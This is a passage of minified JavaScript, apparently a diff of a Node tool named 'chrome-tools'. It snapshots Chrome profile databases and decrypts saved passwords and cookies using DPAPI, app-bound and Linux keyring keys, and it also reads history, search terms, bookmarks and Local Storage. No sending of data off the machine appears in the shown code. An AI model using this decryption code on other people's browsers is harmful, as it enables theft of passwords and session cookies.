ON;");let a=s;return e((u,c=[])=>{let l=u.replace(/^(?:\s+|--[^\n]*(?:\n|$)|\/\*[\s\S]*?\*\/)+/,"");if(!/^(SELECT|WITH|VALUES|EXPLAIN|PRAGMA)\b/i.test(l))throw new F("unreadable","Only read queries are supported.");let f=a.prepare(l);return f.setReadBigInts(!0),Gs(f.all(...c))})}catch(a){if(a instanceof F)throw a;let u=a instanceof Error?a.message:String(a),c=/no such (table|column)/i.test(u)?"unsupported_schema":"unreadable";throw new F(c,`Database query failed on '${lt(r)}': ${u}`,{cause:a})}finally{try{s?.close()}finally{js(i,{recursive:!0,force:!0,maxRetries:3})}}}function L(r,e,t=[]){return Yt(r,n=>n(e,t))}var Gn=[{file:"Login Data",source:"device"},{file:"Login Data For Account",source:"account"}],zs=ct(Vn(),".chrome_cdp_profile"),Ys=ct(Vn(),".config","chrome-cdp-manager","config.json"),Js=["0","off","none","false"];function Xs(){let r=process.env.CHROME_AUTOMATION_DIR?.trim();if(r&&Js.includes(r.toLowerCase()))return;let e=r||Qs()||zs;return ae(e).length>0?e:void 0}function Qs(){try{let r=JSON.parse(qs(Ys,"utf-8"));return typeof r.profileDir=="string"&&r.profileDir?r.profileDir:void 0}catch{return}}function Un(r,e){let t=[],n=r||e?void 0:Xs();return n&&t.push(n),t.push(r),t}function Kn({chromeDir:r,profilePath:e,profile:t,browser:n}={}){let i=e||r,o=[];for(let s of Un(i,n)){let a;try{a=x({chromeDir:s,profile:t,browser:n})}catch(u){o.push({root:s??"default",profile:t??"*",file:"*",source:"device",exists:!1,rows:null,error:u instanceof Error?u.message:String(u)});continue}for(let u of a)for(let c of Gn){let l=ct(u.path,c.file),f={root:s??"default",profile:u.name,file:c.file,source:c.source,exists:Ks(l),rows:null};try{f.rows=L(l,"SELECT COUNT(*) AS n FROM logins")[0]?.n??0}catch(d){f.error=d instanceof Error?d.message:String(d)}o.push(f)}}return o}function qn({chromeDir:r,profilePath:e,profile:t,search:n,browser:i,decryptionKey:o,onDiagnostic:s}={}){let a=e||r,u=i??A().id,c=Un(a,i),l=[],f=n?.toLowerCase(),d,m=!1;for(let p of c){let h;try{h=x({chromeDir:p,profile:t,browser:u,onDiagnostic:s})}catch(g){d??=g;continue}m=!0;for(let g of h)for(let y of Gn){let C=ct(g.path,y.file),T=Ee(p??g.path,u,o,s,g.name,y.file);try{let _=L(C,`SELECT origin_url, username_value, password_value, date_last_used
57
- FROM logins ORDER BY origin_url`);for(let k of _){if(f&&!(k.origin_url&&k.origin_url.toLowerCase().includes(f))&&!(k.username_value&&k.username_value.toLowerCase().includes(f)))continue;let Q=k.password_value?.length>0?T(k.password_value):"";l.push({profile:g.name,source:y.source,url:k.origin_url,username:k.username_value,password:Buffer.isBuffer(Q)?Q.toString("utf8"):Q,lastUsed:R(k.date_last_used||0)})}}catch(_){B(s,g.name,y.file,_)}}}if(!m&&d)throw d;return l}import{readFileSync as Zs}from"node:fs";import{join as eu}from"node:path";function zn(r,e=""){let t=[];if(!r)return t;let n=e?`${e}/${r.name||""}`:r.name||"";if(r.type==="url"&&t.push({title:r.name||"",url:r.url||"",folder:e,dateAdded:R(r.date_added),dateLastUsed:R(r.date_last_used),id:r.id,guid:r.guid||""}),r.children&&Array.isArray(r.children))for(let i of r.children)t.push(...zn(i,n));return t}function Yn({chromeDir:r,profilePath:e,profile:t,folder:n,search:i,browser:o,onDiagnostic:s}={}){let a=x({chromeDir:r,profilePath:e,profile:t,browser:o,onDiagnostic:s}),u=[];for(let l of a){let f=eu(l.path,"Bookmarks");try{let d=Zs(f,"utf-8"),p=JSON.parse(d).roots;if(!p)continue;let h=["bookmark_bar","other","synced"];for(let g of h)if(p[g]){let y=zn(p[g],"");for(let C of y)C.profile=l.name,u.push(C)}}catch(d){B(s,l.name,"Bookmarks",d instanceof SyntaxError?new Error("Invalid Bookmarks JSON."):d)}}let c=u;if(n){let l=n.toLowerCase();c=c.filter(f=>f.folder.toLowerCase().includes(l))}if(i){let l=i.toLowerCase();c=c.filter(f=>f.title.toLowerCase().includes(l)||f.url.toLowerCase().includes(l))}return c}import{join as Jn}from"node:path";function X(r){if(r===void 0)return;let e=Math.trunc(Number(r));return Number.isFinite(e)&&e>0?e:void 0}function q(r,e){let t=X(e);return t===void 0?r:r.slice(0,t)}function be(r){return`%${r.replace(/([%_\\])/g,"\\$1")}%`}function Xn({chromeDir:r,profilePath:e,profile:t,search:n,limit:i=100,browser:o,onDiagnostic:s}={}){let a=x({chromeDir:r,profilePath:e,profile:t,browser:o,onDiagnostic:s}),u=[],c=X(i);for(let l of a){let f=Jn(l.path,"History");try{let d="SELECT url, title, visit_count, last_visit_time FROM urls",m=[];if(n){d+=" WHERE url LIKE ? ESCAPE '\\' OR IFNULL(title, '') LIKE ? ESCAPE '\\'";let h=be(n);m.push(h,h)}d+=" ORDER BY last_visit_time DESC",c&&(d+=` LIMIT ${c}`);let p=L(f,d,m);for(let h of p)u.push({profile:l.name,url:h.url,title:h.title||"",visitCount:h.visit_count||0,lastVisit:R(h.last_visit_time||0)})}catch(d){B(s,l.name,"History",d)}}return q(u,i)}function Qn({chromeDir:r,profilePath:e,profile:t,limit:n=100,browser:i,onDiagnostic:o}={}){let s=x({chromeDir:r,profilePath:e,profile:t,browser:i,onDiagnostic:o}),a=[],u=X(n);for(let c of s){let l=Jn(c.path,"History");try{let f=`SELECT kst.term, u.url
56
+ This profile may predate Chrome's encrypted-key scheme.`);let u=Buffer.from(a,"base64");if(!u.subarray(0,Nt.length).equals(Nt))throw new Error('Unexpected encrypted_key format (missing "DPAPI" prefix).');let c=ys(u.subarray(Nt.length));return Wt.set(i,c),jt.set(c,{chromeDir:n,browser:e}),c},getAppBoundKey(r,e=A()){let t=Vt(r||this.getDefaultChromeDir(e)),n=JSON.stringify([t,e.id]),i=Ht.get(n);if(i)return i;if(Me.has(n))return;let o=H(t,"Local State");if(!ye(o))return;let s;try{let c=On(o,"utf-8");s=JSON.parse(c)?.os_crypt?.app_bound_encrypted_key}catch{return}if(!s)return;let a=Buffer.from(s,"base64");if(!a.subarray(0,Mt.length).equals(Mt))return;let u=bs(a.subarray(Mt.length),e);if(!u.key){u.error&&Me.set(n,u.error);return}return Me.delete(n),Ht.set(n,u.key),u.key},getAppBoundError(r,e=A()){let t=Vt(r||this.getDefaultChromeDir(e));return Me.get(JSON.stringify([t,e.id]))},decrypt(r,e){if(r.subarray(0,3).toString()==="v20"){let t=jt.get(e),n=t&&this.getAppBoundKey?.(t.chromeDir,t.browser);return n?tt(r,n):"<app-bound encryption unavailable>"}return bn(r,e)},clearCache(){Wt.clear(),Ht.clear(),Me.clear(),jt=new WeakMap}};import{execFileSync as ws}from"node:child_process";import{homedir as _s}from"node:os";import{join as Tn}from"node:path";import{pbkdf2Sync as Fs}from"node:crypto";var Bs=1,Ss=16,xs=Buffer.from("saltysalt"),As="peanuts",Ut=new Map;function Os(r){let e=_n();if(e)return e(r);try{let t=ws("secret-tool",["lookup","application",r],{encoding:"utf-8",stdio:["pipe","pipe","pipe"]}).trim();if(t)return t}catch{}return As}var Ln={name:"linux",getDefaultChromeDir(r=A()){let e=process.env.XDG_CONFIG_HOME||Tn(_s(),".config");return Tn(e,...r.dirs.linux.split("/"))},getDecryptionKey(r,e=A()){let t=e.linuxSecretApp||"chrome",n=Ut.get(t);if(n!==void 0)return n;let i=Fs(Os(t),xs,Bs,Ss,"sha1");return Ut.set(t,i),i},decrypt(r,e){return et(r,e)},clearCache(){Ut.clear()}};var Ce=null;function it(){if(Ce)return Ce;switch(process.platform){case"darwin":Ce=An;break;case"win32":Ce=Rn;break;case"linux":Ce=Ln;break;default:throw new Error(`Unsupported platform: ${process.platform}. chrome-tools supports macOS, Windows, and Linux.`)}return Ce}function Pn(r){return it().getDefaultChromeDir(Kt(r))}function $n(r,e){return it().getAppBoundError?.(r,Kt(e))}function Kt(r){return r?typeof r=="string"?ge(r):r:A()}function Ee(r,e,t,n,i,o){let s=Kt(e),a=t,u,c=new Set;return l=>{let f;try{let d=it();d.getAppBoundKey&&l.subarray(0,3).toString()==="v20"?(u===void 0&&(u=d.getAppBoundKey(r,s)??null),f=u?tt(l,u):"<app-bound encryption unavailable>"):(a??=d.getDecryptionKey(r,s),f=d.decrypt(l,a))}catch(d){throw new F("decryption_unavailable",d instanceof Error?d.message:String(d),{cause:d})}if(typeof f=="string"&&!c.has(f)){c.add(f);let d=f==="<app-bound encryption unavailable>"?it().getAppBoundError?.(r,s):void 0;B(n,i,o,new F("decryption_unavailable",d||f))}return f}}var Mn=["Login Data","History","Bookmarks","Cookies","Web Data","Local Storage","LocalStorage","Preferences"];function ot(r){let e=re(r,"Network","Cookies");return J(e)?e:re(r,"Cookies")}function In(r){return Mn.some(e=>J(re(r,e)))||J(ot(r))}function We(r){return Pn(r)}function qt({includeMissing:r=!1}={}){let e=[];for(let t of Ie()){let n=We(t),i=J(n);!i&&!r||e.push({browser:t,chromeDir:n,installed:i,profileCount:i?ae(n).length:0})}return e}function ae(r,{reportAccessDenied:e=!1}={}){let t=r||We();if(!t)return[];try{let n=Nn(t,{withFileTypes:!0}),i=[];for(let o of n){if(!o.isDirectory()||o.name==="Network")continue;let s=re(t,o.name);In(s)&&i.push({name:o.name,path:s})}if(i.length===0&&In(t)){let o=Rs(t)||"Default";i.push({name:o,path:t})}return i}catch(n){let i=n.code;if(e&&(i==="EACCES"||i==="EPERM")){let o=process.platform==="darwin"?" Try Terminal.app if it already has access, or review the current app's permissions in System Settings \u2192 Privacy & Security.":" Check that your user has permission to read this directory.";throw new Error(`Permission denied reading the browser profile directory "${t}" (${i}).${o}`,{cause:n})}return[]}}function zt(r){let e=r||We(),t=re(e,"Local State");if(!J(t))return[];try{let n=vs(t,"utf-8"),o=JSON.parse(n)?.profile?.info_cache;return!o||typeof o!="object"?[]:Object.entries(o).map(([s,a])=>{let u=a;return{directory:s,name:u.name||s,gaiaName:u.gaia_name||"",userName:u.user_name||"",email:u.user_name||"",avatarIcon:u.avatar_icon||"",isUsingDefaultName:u.is_using_default_name??!0,isEphemeral:u.is_ephemeral??!1,activeTime:u.active_time||0}})}catch{return[]}}function Wn(r){let e=r||We(),t=ae(e),n=zt(e),i=new Map;for(let o of n)i.set(o.directory,o);return t.map(o=>{let s=i.get(o.name),a=o.path,u={};for(let c of Mn)u[c.replace(/\s+/g,"_").toLowerCase()]=J(re(a,c));return u.cookies=J(ot(a)),u.top_sites=J(re(a,"Top Sites")),u.extensions=J(re(a,"Extensions")),{directory:o.name,path:a,displayName:s?.name||o.name,gaiaName:s?.gaiaName||"",email:s?.email||"",avatarIcon:s?.avatarIcon||"",isEphemeral:s?.isEphemeral??!1,activeTime:s?.activeTime||0,dataFiles:u}})}function st(r){if(!r||!J(r))return 0;let e=0,t;try{t=Nn(r,{withFileTypes:!0})}catch{return 0}for(let n of t){let i=re(r,n.name);try{if(n.isSymbolicLink())continue;n.isDirectory()?e+=st(i):n.isFile()&&(e+=ks(i).size)}catch{}}return e}function x({profilePath:r,chromeDir:e,profile:t,browser:n,onDiagnostic:i}={}){let o=n?ge(n):void 0,s=r||e||We(o),a;try{a=ae(s,{reportAccessDenied:!!i})}catch(u){i?.({profile:t??"",store:"User Data",code:"unreadable",message:u instanceof Error?u.message:String(u)}),a=[]}if(t){let u=a.filter(c=>c.name===t);if(u.length===0)throw new Error(`Profile "${t}" not found in ${s}`);return u}return a}import{existsSync as Ks,readFileSync as qs}from"node:fs";import{homedir as Vn}from"node:os";import{join as ct}from"node:path";import{copyFileSync as Ws,rmSync as Hs}from"node:fs";import{basename as lt,dirname as jn,join as js}from"node:path";import{DatabaseSync as Vs}from"node:sqlite";import{lstatSync as Ts,mkdtempSync as Ls,realpathSync as Hn}from"node:fs";import{tmpdir as Ps}from"node:os";import{isAbsolute as $s,join as Is,relative as Ns,sep as Ms}from"node:path";function ie(r){try{let e=Ts(r,{bigint:!0});if(!e.isFile())throw new F("unreadable",`Expected a regular store file: ${r}`);return e}catch(e){if(e.code==="ENOENT")return;throw e}}function ut(r,e){return!r||!e?r===e:r.dev===e.dev&&r.ino===e.ino&&r.size===e.size&&r.mtimeNs===e.mtimeNs&&r.ctimeNs===e.ctimeNs}function at(r,e){let t=Hn(Ps()),n=Hn(r),i=Ns(n,t);if(!$s(i)&&i!==".."&&!i.startsWith(".."+Ms))throw new F("snapshot_unavailable","The temporary directory is inside the source profile. Set it to a directory outside the profile.");return Ls(Is(t,e))}function Gs(r){return r.map(e=>{let t={};for(let n of Object.keys(e)){let i=e[n];typeof i=="bigint"?t[n]=Number(i):i instanceof Uint8Array&&!Buffer.isBuffer(i)?t[n]=Buffer.from(i.buffer,i.byteOffset,i.byteLength):t[n]=i}return t})}function Us(r,e){let t=["","-wal","-journal"],n=t.map(i=>ie(r+i));if(!n[0])throw new F("missing_store",`Database file not found: ${r}`);try{for(let[i,o]of t.entries())n[i]&&Ws(r+o,e+o)}catch(i){let o=i.code;throw["EBUSY","EPERM","EACCES","ENOENT"].includes(o??"")?new F("snapshot_unavailable",`Could not copy ${lt(r)} and its journals. Close the browser and retry if it is open.`,{cause:i}):i}if(t.some((i,o)=>!ut(n[o],ie(r+i))))throw new F("snapshot_unavailable",`${lt(r)} changed during the copy. Close the browser and retry.`)}function Yt(r,e){let t=jn(r),n=lt(t)==="Network"?jn(t):t,i=at(n,"chrome-tools-"),o=js(i,"snapshot.sqlite"),s;try{Us(r,o),s=new Vs(o,{timeout:0}),s.exec("PRAGMA trusted_schema = OFF; PRAGMA query_only = ON;");let a=s;return e((u,c=[])=>{let l=u.replace(/^(?:\s+|--[^\n]*(?:\n|$)|\/\*[\s\S]*?\*\/)+/,"");if(!/^(SELECT|WITH|VALUES|EXPLAIN|PRAGMA)\b/i.test(l))throw new F("unreadable","Only read queries are supported.");let f=a.prepare(l);return f.setReadBigInts(!0),Gs(f.all(...c))})}catch(a){if(a instanceof F)throw a;let u=a instanceof Error?a.message:String(a),c=/no such (table|column)/i.test(u)?"unsupported_schema":"unreadable";throw new F(c,`Database query failed on '${lt(r)}': ${u}`,{cause:a})}finally{try{s?.close()}finally{Hs(i,{recursive:!0,force:!0,maxRetries:3})}}}function L(r,e,t=[]){return Yt(r,n=>n(e,t))}var Gn=[{file:"Login Data",source:"device"},{file:"Login Data For Account",source:"account"}],zs=ct(Vn(),".chrome_cdp_profile"),Ys=ct(Vn(),".config","chrome-cdp-manager","config.json"),Js=["0","off","none","false"];function Xs(){let r=process.env.CHROME_AUTOMATION_DIR?.trim();if(r&&Js.includes(r.toLowerCase()))return;let e=r||Qs()||zs;return ae(e).length>0?e:void 0}function Qs(){try{let r=JSON.parse(qs(Ys,"utf-8"));return typeof r.profileDir=="string"&&r.profileDir?r.profileDir:void 0}catch{return}}function Un(r,e){let t=[],n=r||e?void 0:Xs();return n&&t.push(n),t.push(r),t}function Kn({chromeDir:r,profilePath:e,profile:t,browser:n}={}){let i=e||r,o=[];for(let s of Un(i,n)){let a;try{a=x({chromeDir:s,profile:t,browser:n})}catch(u){o.push({root:s??"default",profile:t??"*",file:"*",source:"device",exists:!1,rows:null,error:u instanceof Error?u.message:String(u)});continue}for(let u of a)for(let c of Gn){let l=ct(u.path,c.file),f={root:s??"default",profile:u.name,file:c.file,source:c.source,exists:Ks(l),rows:null};try{f.rows=L(l,"SELECT COUNT(*) AS n FROM logins")[0]?.n??0}catch(d){f.error=d instanceof Error?d.message:String(d)}o.push(f)}}return o}function qn({chromeDir:r,profilePath:e,profile:t,search:n,browser:i,decryptionKey:o,onDiagnostic:s}={}){let a=e||r,u=i??A().id,c=Un(a,i),l=[],f=n?.toLowerCase(),d,D=!1;for(let p of c){let h;try{h=x({chromeDir:p,profile:t,browser:u,onDiagnostic:s})}catch(g){d??=g;continue}D=!0;for(let g of h)for(let y of Gn){let C=ct(g.path,y.file),T=Ee(p??g.path,u,o,s,g.name,y.file);try{let _=L(C,`SELECT origin_url, username_value, password_value, date_last_used
57
+ FROM logins ORDER BY origin_url`);for(let k of _){if(f&&!(k.origin_url&&k.origin_url.toLowerCase().includes(f))&&!(k.username_value&&k.username_value.toLowerCase().includes(f)))continue;let Q=k.password_value?.length>0?T(k.password_value):"";l.push({profile:g.name,source:y.source,url:k.origin_url,username:k.username_value,password:Buffer.isBuffer(Q)?Q.toString("utf8"):Q,lastUsed:R(k.date_last_used||0)})}}catch(_){B(s,g.name,y.file,_)}}}if(!D&&d)throw d;return l}import{readFileSync as Zs}from"node:fs";import{join as eu}from"node:path";function zn(r,e=""){let t=[];if(!r)return t;let n=e?`${e}/${r.name||""}`:r.name||"";if(r.type==="url"&&t.push({title:r.name||"",url:r.url||"",folder:e,dateAdded:R(r.date_added),dateLastUsed:R(r.date_last_used),id:r.id,guid:r.guid||""}),r.children&&Array.isArray(r.children))for(let i of r.children)t.push(...zn(i,n));return t}function Yn({chromeDir:r,profilePath:e,profile:t,folder:n,search:i,browser:o,onDiagnostic:s}={}){let a=x({chromeDir:r,profilePath:e,profile:t,browser:o,onDiagnostic:s}),u=[];for(let l of a){let f=eu(l.path,"Bookmarks");try{let d=Zs(f,"utf-8"),p=JSON.parse(d).roots;if(!p)continue;let h=["bookmark_bar","other","synced"];for(let g of h)if(p[g]){let y=zn(p[g],"");for(let C of y)C.profile=l.name,u.push(C)}}catch(d){B(s,l.name,"Bookmarks",d instanceof SyntaxError?new Error("Invalid Bookmarks JSON."):d)}}let c=u;if(n){let l=n.toLowerCase();c=c.filter(f=>f.folder.toLowerCase().includes(l))}if(i){let l=i.toLowerCase();c=c.filter(f=>f.title.toLowerCase().includes(l)||f.url.toLowerCase().includes(l))}return c}import{join as Jn}from"node:path";function X(r){if(r===void 0)return;let e=Math.trunc(Number(r));return Number.isFinite(e)&&e>0?e:void 0}function q(r,e){let t=X(e);return t===void 0?r:r.slice(0,t)}function be(r){return`%${r.replace(/([%_\\])/g,"\\$1")}%`}function Xn({chromeDir:r,profilePath:e,profile:t,search:n,limit:i=100,browser:o,onDiagnostic:s}={}){let a=x({chromeDir:r,profilePath:e,profile:t,browser:o,onDiagnostic:s}),u=[],c=X(i);for(let l of a){let f=Jn(l.path,"History");try{let d="SELECT url, title, visit_count, last_visit_time FROM urls",D=[];if(n){d+=" WHERE url LIKE ? ESCAPE '\\' OR IFNULL(title, '') LIKE ? ESCAPE '\\'";let h=be(n);D.push(h,h)}d+=" ORDER BY last_visit_time DESC",c&&(d+=` LIMIT ${c}`);let p=L(f,d,D);for(let h of p)u.push({profile:l.name,url:h.url,title:h.title||"",visitCount:h.visit_count||0,lastVisit:R(h.last_visit_time||0)})}catch(d){B(s,l.name,"History",d)}}return q(u,i)}function Qn({chromeDir:r,profilePath:e,profile:t,limit:n=100,browser:i,onDiagnostic:o}={}){let s=x({chromeDir:r,profilePath:e,profile:t,browser:i,onDiagnostic:o}),a=[],u=X(n);for(let c of s){let l=Jn(c.path,"History");try{let f=`SELECT kst.term, u.url
58
58
  FROM keyword_search_terms kst
59
59
  JOIN urls u ON kst.url_id = u.id
60
- ORDER BY u.last_visit_time DESC`;u&&(f+=` LIMIT ${u}`);let d=L(l,f);for(let m of d)a.push({profile:c.name,term:m.term||"",url:m.url||""})}catch(f){B(o,c.name,"History",f)}}return q(a,n)}import{existsSync as tu}from"node:fs";import{createHash as ru}from"node:crypto";function nu(r,e){if(!Buffer.isBuffer(r))return r;let t=ru("sha256").update(e).digest();return(r.length>=t.length&&r.subarray(0,t.length).equals(t)?r.subarray(t.length):r).toString("utf-8")}function iu(r){if(!r)return null;try{return new URL(r)}catch{try{if(!/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(r))return new URL("https://"+r)}catch{}}return null}function ou(r){let e=new Set;e.add(r),e.add("."+r);let t=r.split(".");for(let n=1;n<t.length;n++){let i=t.slice(n).join(".");e.add(i),e.add("."+i)}return Array.from(e)}function su(r,e){return!!(r===e||e.startsWith(".")&&(r===e.slice(1)||r.endsWith(e)))}function uu(r,e){let t=r||"/",n=e||"/";return!!(n==="/"||t===n||t.startsWith(n)&&(n.endsWith("/")||t[n.length]==="/"))}function Zn({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i,domain:o,url:s,decrypt:a=!0,limit:u=100,decryptionKey:c}={}){let l=e||r,f=n??A().id,d=x({chromeDir:r,profilePath:e,profile:t,browser:f,onDiagnostic:i}),m=[],p=iu(s),h=X(u),g;for(let y of d){let C=ot(y.path);if(!tu(C)){B(i,y.name,"Cookies",new F("missing_store","Cookies database file not found."));continue}let T=Ee(l??y.path,f,c,i,y.name,"Cookies");try{let _=`SELECT host_key, name, value, encrypted_value, path,
60
+ ORDER BY u.last_visit_time DESC`;u&&(f+=` LIMIT ${u}`);let d=L(l,f);for(let D of d)a.push({profile:c.name,term:D.term||"",url:D.url||""})}catch(f){B(o,c.name,"History",f)}}return q(a,n)}import{existsSync as tu}from"node:fs";import{createHash as ru}from"node:crypto";function nu(r,e){if(!Buffer.isBuffer(r))return r;let t=ru("sha256").update(e).digest();return(r.length>=t.length&&r.subarray(0,t.length).equals(t)?r.subarray(t.length):r).toString("utf-8")}function iu(r){if(!r)return null;try{return new URL(r)}catch{try{if(!/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(r))return new URL("https://"+r)}catch{}}return null}function ou(r){let e=new Set;e.add(r),e.add("."+r);let t=r.split(".");for(let n=1;n<t.length;n++){let i=t.slice(n).join(".");e.add(i),e.add("."+i)}return Array.from(e)}function su(r,e){return!!(r===e||e.startsWith(".")&&(r===e.slice(1)||r.endsWith(e)))}function uu(r,e){let t=r||"/",n=e||"/";return!!(n==="/"||t===n||t.startsWith(n)&&(n.endsWith("/")||t[n.length]==="/"))}function Zn({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i,domain:o,url:s,decrypt:a=!0,limit:u=100,decryptionKey:c}={}){let l=e||r,f=n??A().id,d=x({chromeDir:r,profilePath:e,profile:t,browser:f,onDiagnostic:i}),D=[],p=iu(s),h=X(u),g;for(let y of d){let C=ot(y.path);if(!tu(C)){B(i,y.name,"Cookies",new F("missing_store","Cookies database file not found."));continue}let T=Ee(l??y.path,f,c,i,y.name,"Cookies");try{let _=`SELECT host_key, name, value, encrypted_value, path,
61
61
  expires_utc, is_secure, is_httponly, samesite,
62
62
  creation_utc, last_access_utc
63
- FROM cookies`,k=[],Q=[];if(o)k.push("host_key LIKE ?"),Q.push(`%${o}%`);else if(p){let v=ou(p.hostname),Be=v.map(()=>"?").join(", ");k.push(`host_key IN (${Be})`),Q.push(...v)}k.length>0&&(_+=` WHERE ${k.join(" AND ")}`),_+=" ORDER BY host_key, name",h&&!s&&(_+=` LIMIT ${h}`);let mt=L(C,_,Q);for(let v of mt){if(p&&(!su(p.hostname,v.host_key||"")||!uu(p.pathname||"/",v.path||"/")||v.is_secure&&p.protocol!=="https:"))continue;let Be=v.value||"";!Be&&v.encrypted_value?.length>0&&a&&(Be=nu(T(v.encrypted_value),v.host_key||"")),m.push({profile:y.name,domain:v.host_key||"",name:v.name||"",value:Be,path:v.path||"/",expires:R(v.expires_utc||0),secure:!!v.is_secure,httpOnly:!!v.is_httponly,sameSite:["unspecified","lax","strict","none"][v.samesite]||"unspecified",created:R(v.creation_utc||0),lastAccessed:R(v.last_access_utc||0)})}}catch(_){B(i,y.name,"Cookies",_),g??=new Error(`Could not read cookies for profile "${y.name}" at ${C}: `+(_ instanceof Error?_.message:String(_)))}}if(!i&&m.length===0&&g)throw g;return q(m,u)}import{join as fi}from"node:path";import{zstdDecompressSync as gu}from"node:zlib";function we(r,e){let t=0,n=0;for(let i=e;i<r.length&&i<e+5;i++){let o=r[i];if(t|=(o&127)<<n,(o&128)===0)return{value:t>>>0,nextOffset:i+1};n+=7}return null}var Jt=64*1024*1024;function ft(r){let e=we(r,0);if(!e||e.value>Jt)throw new Error("Invalid Snappy length");let t=Buffer.alloc(e.value),n=e.nextOffset,i=0;for(;n<r.length&&i<t.length;){let o=r[n++],s=o&3;if(s===0){let c=o>>2;if(c<60)c+=1;else{let l=c-59;if(n+l>r.length)throw new Error("Invalid Snappy literal");c=1;for(let f=0;f<l;f++)c+=r[n++]<<f*8}if(n+c>r.length||i+c>t.length)throw new Error("Invalid Snappy literal length");r.copy(t,i,n,n+c),n+=c,i+=c;continue}let a,u;if(s===1){if(n>=r.length)throw new Error("Invalid Snappy copy");a=(o>>2&7)+4,u=(o&224)<<3|r[n++]}else if(s===2){if(n+2>r.length)throw new Error("Invalid Snappy copy");a=(o>>2)+1,u=r.readUInt16LE(n),n+=2}else{if(n+4>r.length)throw new Error("Invalid Snappy copy");a=(o>>2)+1,u=r.readUInt32LE(n),n+=4}if(u<=0||u>i||i+a>t.length)throw new Error("Invalid Snappy offset");for(let c=0;c<a;c++)t[i]=t[i-u],i++}if(i!==t.length)throw new Error("Truncated Snappy stream");return t}import{copyFileSync as au,readFileSync as ei,readdirSync as lu,rmSync as cu}from"node:fs";import{join as _e}from"node:path";function Qt(r){return lu(r).filter(e=>/\.(log|ldb|sst)$/i.test(e)).sort()}function ai(r,e){let t=at(e,"chrome-local-storage-");try{let n=Qt(r),i=n.map(s=>ie(_e(r,s)));try{for(let s of n)au(_e(r,s),_e(t,s))}catch(s){throw new F("snapshot_unavailable","Could not copy Local Storage. Close the browser and retry if it is open.",{cause:s})}let o=Qt(r);if(o.length!==n.length||n.some((s,a)=>s!==o[a]||!ut(i[a],ie(_e(r,s)))))throw new F("snapshot_unavailable","Local Storage changed during the copy. Close the browser and retry.");return du(t).values()}finally{cu(t,{recursive:!0,force:!0,maxRetries:3})}}var fu=0xdb4775248b80fb57n,ti=32768,li=0,ci=1;function du(r){let e=new Map,t=Qt(r);for(let n of t){let i=_e(r,n),o=ei(i);if(/\.(ldb|sst)$/i.test(n))for(let s of hu(o))ri(e,s)}for(let n of t){if(!/\.log$/i.test(n))continue;let i=_e(r,n),o=ei(i);for(let s of pu(o))ri(e,s)}return e}function ri(r,e){let t=e.key.toString("hex"),n=r.get(t);n&&n.sequence>e.sequence||r.set(t,e)}function pu(r){let e=[],t=0,n=[];for(;t+7<=r.length;){let i=ti-t%ti;if(i<7){t+=i;continue}let o=r.readUInt16LE(t+4),s=r[t+6];if(t+=7,s===0&&o===0){t+=o;continue}if(o>r.length-t||o>i-7)break;let a=r.subarray(t,t+o);t+=o,s===1?(e.push(...ni(a)),n=[]):s===2?n=[Buffer.from(a)]:s===3&&n.length>0?n.push(Buffer.from(a)):s===4&&n.length>0&&(n.push(Buffer.from(a)),e.push(...ni(Buffer.concat(n))),n=[])}return e}function ni(r){if(r.length<12)return[];let e=[],t=mu(r,0),n=r.readUInt32LE(8),i=12,o=0;for(;i<r.length&&o<n;){let s=r[i++],a=si(r,i);if(!a)break;i=a.nextOffset;let u=t+BigInt(o);if(s===ci){let c=si(r,i);if(!c)break;i=c.nextOffset,e.push({key:a.value,value:c.value,sequence:u,deleted:!1})}else if(s===li)e.push({key:a.value,sequence:u,deleted:!0});else break;o++}return e}function hu(r){let e=[];if(r.length<48||r.readBigUInt64LE(r.length-8)!==fu)return e;let n=r.subarray(r.length-48,r.length-8),i=Xt(n,0);if(!i)return e;let o=Xt(n,i.bytesRead);if(!o)return e;let s=ii(r,o);if(!s)return e;for(let a of oi(s)){let u=Xt(a.value,0);if(!u)continue;let c=ii(r,u);if(c)for(let l of oi(c)){if(l.key.length<8)continue;let f=l.key,d=f.length-8,m=f[d],p=Du(f.subarray(d)),h=f.subarray(0,d);m===ci?e.push({key:h,value:l.value,sequence:p,deleted:!1}):m===li&&e.push({key:h,sequence:p,deleted:!0})}}return e}function ii(r,e){let t=e.offset+e.size;if(e.offset<0||e.size<0||t+5>r.length)return null;let n=r.subarray(e.offset,t),i=r[t];if(i===0)return n;if(i===1)try{return ft(n)}catch{return null}return null}function oi(r){if(r.length<4)return[];let e=r.readUInt32LE(r.length-4),t=e*4+4;if(e<1||t>r.length)return[];let n=r.length-t,i=[],o=0,s=Buffer.alloc(0);for(;o<n;){let a=we(r,o);if(!a)break;o=a.nextOffset;let u=we(r,o);if(!u)break;o=u.nextOffset;let c=we(r,o);if(!c||(o=c.nextOffset,a.value>s.length||o+u.value+c.value>n))break;let l=Buffer.concat([s.subarray(0,a.value),r.subarray(o,o+u.value)]);o+=u.value;let f=Buffer.from(r.subarray(o,o+c.value));o+=c.value,i.push({key:l,value:f}),s=l}return i}function Xt(r,e){let t=ui(r,e);if(!t)return null;let n=ui(r,t.nextOffset);return!n||t.value>BigInt(Number.MAX_SAFE_INTEGER)||n.value>BigInt(Number.MAX_SAFE_INTEGER)?null:{offset:Number(t.value),size:Number(n.value),bytesRead:n.nextOffset-e}}function si(r,e){let t=we(r,e);if(!t)return null;let n=t.nextOffset+t.value;return n>r.length?null:{value:Buffer.from(r.subarray(t.nextOffset,n)),nextOffset:n}}function ui(r,e){let t=0n,n=0n;for(let i=e;i<r.length&&i<e+10;i++){let o=r[i];if(t|=BigInt(o&127)<<n,(o&128)===0)return{value:t,nextOffset:i+1};n+=7n}return null}function mu(r,e){let t=0n;for(let n=0;n<8;n++)t|=BigInt(r[e+n]||0)<<BigInt(n*8);return t}function Du(r){let e=0n;for(let t=1;t<8;t++)e|=BigInt(r[t]||0)<<BigInt((t-1)*8);return e}function*di(r){let e=fi(r,"LocalStorage");if(ie(e)){let t=L(e,`SELECT maps.storage_key, map_entries.key,
63
